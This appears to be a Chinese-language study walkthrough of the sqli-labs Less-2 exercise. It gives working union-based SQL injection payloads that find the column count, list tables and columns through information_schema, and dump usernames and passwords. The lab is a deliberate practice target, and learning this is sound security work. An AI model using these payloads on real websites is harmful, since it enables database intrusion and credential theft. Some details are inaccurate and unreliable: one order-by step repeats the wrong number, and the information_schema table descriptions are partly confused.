打开less2看到这个提示
请输入id作为数值的参数
像这种id一般为id,’id’,(id)之类
输入?id=1’ 或者?id=1”,显示
输入?id=1显示
在id= 1的时候没报语法错误,那么猜测这存在sql注入漏洞,大概查询语句为select * from where id = 1 limit 0.1
在D:\phpstudy_pro\WWW\sqli-labs-master\Less-2的源代码看看确为如此
知道id= 1没报错后那么我们使用order by命令看看这表的列数有几列吧,那么输入?id=1 order by 2 --+ 看看会发生什么
那么我们发现这没报错,然后数字增加,加到4的时候也就是输入?id=1 order by 2 --+ 的时候报错了,说明这列数为3
使用union查询,判断回显以及各列的输出
?id=-1 union select 1,2,3--+
为什么id等于-1呢,因为设置一个不存在的id那么猜测语句为
那么我们知道表第2列在这显示了,那么将第2列换成database()看看叫什么 那么输入命令
?id=-1 union select 1,database(),3--+
那么可知database叫security
那么在mysql数据库有一个数据库information_schema那么这数据库有4个表分别是 schema_privileges,schemata,tables,columns
其中shemata表内容为所有数据库名 字段schema_name 代表数据库名
schemata表内容为数据库权限信息,字段table_schema代表数据库与表对应的关系
tables表内容为所有的表名 字段table_name代表表名
字段 schema_table 代表数据库有表的关系
columns表为所有字段名 字段column_name代表字段名
那么在MySQL-Front看看吧便于理解
那么爆数据库表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
//group_concat() 让数据一行显示
那么爆user表的数据字段
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
那么爆数据
?id=-1 union select 1,group_concat(username,'~',password),3 from users--+
完成